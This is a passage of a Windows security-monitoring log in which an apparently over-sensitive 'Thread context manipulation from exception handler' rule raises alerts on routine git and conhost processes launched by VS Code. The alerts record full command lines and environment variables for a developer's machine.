PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:54:19+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 310 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:18.0018952 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture, directory_table_base➜ 415857000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f58ecf080, name➜ git.exe, pid➜ 11012, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:54:18.0018952 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:54:19+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 312 + Pid: 13968 + Tid: 18320 + Type: CreateProcess + CPU: 1 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:18.002093 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 1b1007000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f581ed080, name➜ conhost.exe, pid➜ 9508, ppid➜ 13968, real_ppid➜ 13968, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:54:18.002093 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13968 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" config --get commit.template + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" config --get commit.template] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:54:19+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 314 + Pid: 11012 + Tid: 17896 + Type: CreateProcess + CPU: 7 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:18.0093265 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 244e1000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5ace2080, name➜ conhost.exe, pid➜ 10644, ppid➜ 11012, real_ppid➜ 11012, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:54:18.0093265 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 11012 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:54:19+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 316 + Pid: 13968 + Tid: 18320 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:18.0421319 +0100 CET + Params: cmdline➜ git.exe config --get commit.template, directory_table_base➜ 4b65b000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5ac22080, name➜ git.exe, pid➜ 17392, ppid➜ 13968, real_ppid➜ 13968, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:54:18.0421319 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13968 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" config --get commit.template + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" config --get commit.template] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:54:19+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 318 + Pid: 11012 + Tid: 17896 + Type: CreateProcess + CPU: 5 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:18.0498233 +0100 CET + Params: cmdline➜ git.exe for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture, directory_table_base➜ 43c99c000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f572e7080, name➜ git.exe, pid➜ 13112, ppid➜ 11012, real_ppid➜ 11012, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:54:18.0498233 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 11012 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:54:19+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 326 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:18.1333906 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" status -z -uall, directory_table_base➜ 214163000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5b2c8080, name➜ git.exe, pid➜ 5256, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:54:18.1333906 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true 